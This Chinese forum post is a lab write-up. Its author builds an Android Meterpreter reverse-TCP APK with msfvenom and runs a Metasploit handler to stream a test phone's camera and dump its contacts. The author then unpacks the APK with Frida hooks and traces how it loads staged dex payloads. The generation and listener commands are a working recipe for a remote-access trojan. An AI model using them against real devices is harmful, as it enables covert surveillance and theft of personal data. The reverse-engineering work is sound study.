使用msfvenom生成恶意APP并对该APK进行拆包分析

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看雪论坛作者ID：Hambur

1. 前言

前几天看到有帖子在写msfvenom生成恶意APP的内容，感兴趣去玩了一下，然后对生成的APK进行了拆包分析。中间遇到了不少的问题，在此记录并分享一下。

2. 环境

使用到的工具：jre、frida

测试手机：Pixel XL、Android 9

测试平台：Ubuntu （Kali本身有自带metasploit，但这里为了同时记录安装过程，所以用Ubuntu）

3. 生成恶意App

3.1 安装metasploit

https://github.com/rapid7/metasploit-framework/wiki/Nightly-Installers 

官方的GitHub上有很详细的安装说明，大概步骤如下：

curl https://raw.githubusercontent.com/rapid7/metasploit-omnibus/master/config/templates/metasploit-framework-wrappers/msfupdate.erb > msfinstall
chmod 755 msfinstall
./msfinstall

（注：下载过程有点漫长，可以试试科学上网或许会快一些）

安装完成后，用 msfvenom -l payloads 命令查看当前的payloads有哪些：

我使用的是红框内的android/meterpreter/reverse_tcp。

3.2 使用msfvenom生成APK

输入命令：

msfvenom -p android/meterpreter/reverse_tcp LHOST=Ubuntu的ip LPORT=端口号 R > xxxxx.apk

其中，-p是指定的payload，LHOST和LPORT是待会要执行攻击的主机IP和PORT，设置为本机就好了。（如下，我的Ubuntu的IP是192.168.31.103）

中途可能会提示需要安装一些工具，如apktool、jarsigner等，根据提示安装好即可。

将生成的APK安装至手机，可以看到，它需要获取到很多权限。

3.3 使用msfconsole操控手机

先启动msfconsole：

然后开始配置metasploit：

use exploit/multi/handler   //加载模块
set payload android/meterpreter/reverse_tcp   //选择我们刚刚设置Payload
set LHOST 192.168.31.103   //这里的IP是我们刚刚设置的IP地址
set LPORT 3389   //这里的端口是我们刚刚设置的端口

然后输入exploit命令开始监听。打开我们刚刚手机安装的APP，可以看到下图已经监听到我的手机了：

webcam_stream    //开启摄像头

可以看到下图，电脑中显示的就是我手持的手机后摄拍摄的镜头：

  
dump_contacts   //导出联系人

可以看到下图，手机的联系人信息已经被导出（注：下面的电话号码是我随便乱输的，如有雷同纯属巧合）

msfconsole里面还提供了大量的命令供我们使用，这里就不一一讲解了，大家可以输入 ?  进行查看。

4. 拆包与hook

直接将APK拖进jre：

MainActivity中，它启动了一个后台服务，通过一系列的套娃，最终是到了 Payload 类的 main 方法中。

代码很长，而且被混淆了，这里就不截全了。这个方法前半段主要是从 Payload.a 这个变量读取各种各样的信息，包括我们之前使用msfvenom命令设置的LHOST、LPORT等。

Payload.main 方法的后半段，猜测变量 v7 是从上面获取到的IP和端口，我们利用frida去hook startsWith 这个方法看看。果然是我们最开始设置的IP与端口号。

后面根据IP和端口，new了一个Socket，拿到InputStream和OutputStream，从而能跟我们的主机（即我的Ubuntu）拿数据，然后就到了方法Payload.a(java.io.DataInputStream, java.io.OutputStream, java.lang.Object[]) 。

Java.perform(function(){
    var Stringg = Java.use("java.lang.String");
    console.log("1")
    Stringg.startsWith.overload('java.lang.String').implementation=function(arg1){
        console.log("----------String.startsWith:----------")
        console.log(this)
        var reval = this.startsWith(arg1)
        return reval
    }
});

那么，拿了什么数据呢？

我们再点进去 Payload.a(java.io.DataInputStream, java.io.OutputStream, java.lang.Object[])  。

这里对调用了两次 Payload.a(java.io.DataInputStream) ，同样打开这个方法看看。容易看出是通过这个方法从 DataInputStream arg11 read数据，赋值给了v3与v4。

从下面的 DexClassLoader 我们可以推出，这里动态的加载了dex，并加载了其中某个类的 start 方法。而 v3 就是这个类的名字，v4 则是这个dex。

所以，我们大概可以总结出 Payload 这个类的主要作用就是先读取各种各样的配置信息，然后根据配置信息内的IP及端口从主机拿到dex，并加载该dex，执行start方法。

我们再次使用frida把这个dex给hook出来。我这里hook的是 Payload.a(java.io.DataInputStream) ，因为这个方法返回值正好是dex的byte[]数据，我们可以直接拿到写入文件中‍。1866.dex就是我们所需要的了：

Java.perform(function(){
        var Payload = Java.use("com.metasploit.stage.Payload");
            console.log("1")
        Payload.a.overload('java.io.DataInputStream').implementation=function(arg1){
            console.log("----------Payload.a.overload('java.io.DataInputStream'):----------")
            var reval = this.a(arg1)
            console.log(reval.length)
             
            //调用java的File和FileOutputStream，将byte[]数据写入文件中
            var v5 = Java.use("java.io.File").$new("/data/data/com.metasploit.stage/"+reval.length+".dex")
            var v6 = Java.use("java.io.FileOutputStream").$new(v5)
             
            v6.write(reval);
            v6.flush();
            v6.close();
            console.log("write success")
            return reval
        }
});

把1866.dex从手机中拿出来，拖入jre中。只有一个类 Meterpreter 和两个方法 start。

分析过上面的 Payload 之后，看这段代码会感觉似曾相识。。没错，它又再一次的从 DataInputStream 中read了一个dex出来加载，真是一套又一套。

这里加载了 com.metasploit.meterpreter.AndroidMeterpreter 这个类，并调用了它的构造函数：

同样的，我们需要把这个dex给弄出来，想法是hook Meterpreter.start 方法，拿到它的 DataInputStream arg14 参数，然后就可以把dex的数据给read出来写入文件中。

这里踩了很多坑，查了不少的资料，尝试了多次之后才成功。主要参考的是下面两篇文章：

* 点击文字即可跳转

刚开始的时候我是直接去hook Meterpreter.start 方法，结果发现根本找不到这个类，主要原因是这个类不在默认的classloader中，那么我们就需要去找到这个类对应的classloader。

frida代码如下，主要是利用 Java.enumerateClassLoaders(callbacks) 枚举所有的classloader，找到哪个classloader中有 Meterpreter 类。

然后修改 Java.classFactory.loader 的值。

Java.perform(function () {
        var hook_class_name = "androidpayload.stage.Meterpreter";
        Java.enumerateClassLoaders({
            onMatch: function (loader) {
                try {
                    if (loader.findClass(hook_class_name)) {
                        console.log(loader);
                        Java.classFactory.loader = loader;
                    }
                } catch (error) {
 
                }
            }, 
                onComplete: function () {
 
            }
        });
         
            var Meterpreter = Java.classFactory.use(hook_class_name);
            console.log("get class success");
            Meterpreter.start.overload('java.io.DataInputStream', 'java.io.OutputStream', '[Ljava.lang.Object;').implementation=function(arg1){
                console.log("----------Meterpreter.start:----------");
            }
});

结果还是出问题了。刚启动app的时候，报错找不到这个class。而当我reload脚本之后，居然找到了这个class和对应的classloader，但是 Meterpreter.start 方法却没有被hook到。

我猜测，是因为在启动App的时候，这个classloader还没有被加载进来，所以才会出现找不到这个Meterpreter class的情况。而当我reload了之后，classloader和Meterpreter class的确是被加载了进来，但是 Meterpreter.start 方法已经被执行过了， 所以才没有输出。

----------Meterpreter.start:----------

因此我们需要去找到一个时机，这个classloader和Meterpreter class已经被加载进来了，但是 Meterpreter.start 方法却还没有被执行的时机。

最后是定位在了上面提到的 Payload.a(java.io.DataInputStream, java.io.OutputStream, java.lang.Object[])  ，这里的 loadClass 函数不正是我们所需要的吗，这里已经调用了 DexClassLoader的构造函数，说明classloader被加载进来了，而下面的start却还没有被invoke。让我们去试一下，代码如下：

function hook_dex(){
    Java.perform(function () {
        var hook_class_name = "androidpayload.stage.Meterpreter";
        Java.enumerateClassLoaders({
            onMatch: function (loader) {
                try {
                    if (loader.findClass(hook_class_name)) {
                        console.log(loader);
                        Java.classFactory.loader = loader;
                    }   
                } catch (error){
             
                }
            }, 
            onComplete: function () {
 
            }
            });
         
            var Meterpreter = Java.classFactory.use(hook_class_name);
        console.log("get class success");
        Meterpreter.start.overload('java.io.DataInputStream', 'java.io.OutputStream', '[Ljava.lang.Object;').implementation=function(arg1){
            console.log("----------Meterpreter.start:----------");
             
            //新建一个byte[]，利用readFully方法将dex的数据读取进来
            var core = Java.array('byte', new Array(arg1.readInt()).fill(0));
            arg1.readFully(core);
             
            var file = Java.use("java.io.File").$new("/data/data/com.metasploit.stage/"+core.length+".dex");
            var fileOutputStream = Java.use("java.io.FileOutputStream").$new(file);
             
            fileOutputStream.write(core);
            fileOutputStream.flush();
            fileOutputStream.close();
            console.log(core.length+".dex write success");
        }
    });
}
 
if(Java.available){
    Java.perform(function(){
            var dexclassLoader = Java.use("dalvik.system.DexClassLoader");
 
            dexclassLoader.loadClass.overload('java.lang.String').implementation = function(name){
                var hook_class_name = "androidpayload.stage.Meterpreter";
                var result = this.loadClass(name,false);
                //一旦发现load的class是"dalvik.system.DexClassLoader"，我们就调用hook_dex()方法去hook
                if(name == hook_class_name){     
                hook_dex();
                return result;
                }
                return result;
            }
         
    });
}

成功了！

（注：上面的脚本调用了Array.fill()方法，所以在执行脚本时要将 --runtime 参数设置为v8，例：frida -U -f com.metasploit.stage -l my.js --runtime=v8）

（另外上面的代码写的有些粗糙，只是拿到了我想要的dex文件，可能会影响app的正常执行，大家可以看着改改）

5. 最后的代码逻辑分析

我们将74267.dex拖入jre中，定位到 com.metasploit.meterpreter.AndroidMeterpreter 这个类的构造函数。

5.1 父类构造函数

首先我们先看一下它的父类的构造函数，这里最主要的是 this.transports 和 this.commandManager 两个变量。

this.transports 是一个循环链表的结构，它的节点为 Transport 这个类。Transport 记录了主机的IP、端口号等信息，还负责接受主机发来的命令的数据包（如上面所述的webcam_stream、dump_contacts等），解析该数据包，并执行命令对应的代码，返回数据给主机。

this.commandManager 是负责管理命令注册的，Transport 每次需要执行解析命令的时候，都会在 this.commandManager 中去查询， this.commandManager 则会返回一个Class，Transport 再去对应的Class执行代码。

this.commandManager 的构造函数最后执行了一个 load() 方法，load() 方法则给 this.commandManager 注册了多个初始化所需的命令。

下面的core_channel_close、core_channel_eof、core_channel_interact等都继承自 Command 接口，因此可以利用多态的性质。

5.2 this.loadConfiguration()

接下来再看看 this.loadConfiguration() 这个方法。这个方法其实很简单，就是从配置信息（之前提到的 Payload.a ）中读取IP及端口，装入 TcpTransport （继承自Transport）中，然后再将 TcpTransport 链到 this.transports 中。

从下面的 this.transports 的 add 方法也可以看出，它在构造一个循环链表。为什么是循环链表结构？下面我会再介绍。

5.3 this.intervalCollectionManager.start()

接下来是 this.intervalCollectionManager.start() 这个方法。这个方法同样也不复杂，只是简单的收集了各种各样的隐私数据（wifi、地址等），统一写入某个文件中。

5.4 this.startExecuting()

最后就是 this.startExecuting() 了。

首先通过 this.transports.current() 拿到当前循环链表的头节点 Transport ，Transport 通过 connet() 方法与主机进行连接，并等待主机发来命令（上面提到的Command）。

接收到主机发来的数据后，Transport 就去调用 dispatch() 方法对数据进行解析，执行相应的代码，并返回数据给主机。然后 disconnect() 关闭连接，进入下一个 Transport。

那么问题来了，像我这里只有一个主机的IP与端口，即只有一个Transport ，关闭连接之后，链表中不就没下一个了？所以这就是为什么要使用循环链表的原因，在只有一个 Transport 的情况下，链表的下一个 Transport 永远都是当前的 Transport。

可以看到 connect() 也只是简单的建了一个 ServerSocket（因为现在主机才是主动方，App只是被动的接受命令，执行命令，所以才使用ServerSocket），等待主机发来命令。

dispatch() 先对收到的数据进行解析，然后调用 executeCommand() 方法。executeCommand() 中调用了getCommand() 拿到了对应的 Class，利用多态的性质去执行命令对应的代码。

6. 后记

至此所有的分析大概就结束了，代码分析这部分没有太过仔细的分析，只是了解了一下它的大概逻辑结构。查阅资料和尝试的过程还是比较艰辛的，但同时也学到不少东西。

第一次写文章，写的不好的地方大家多多指点。

- End -

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https://bbs.pediy.com/user-883702.htm

  *本文由看雪论坛 Hambur 原创，转载请注明来自看雪社区。

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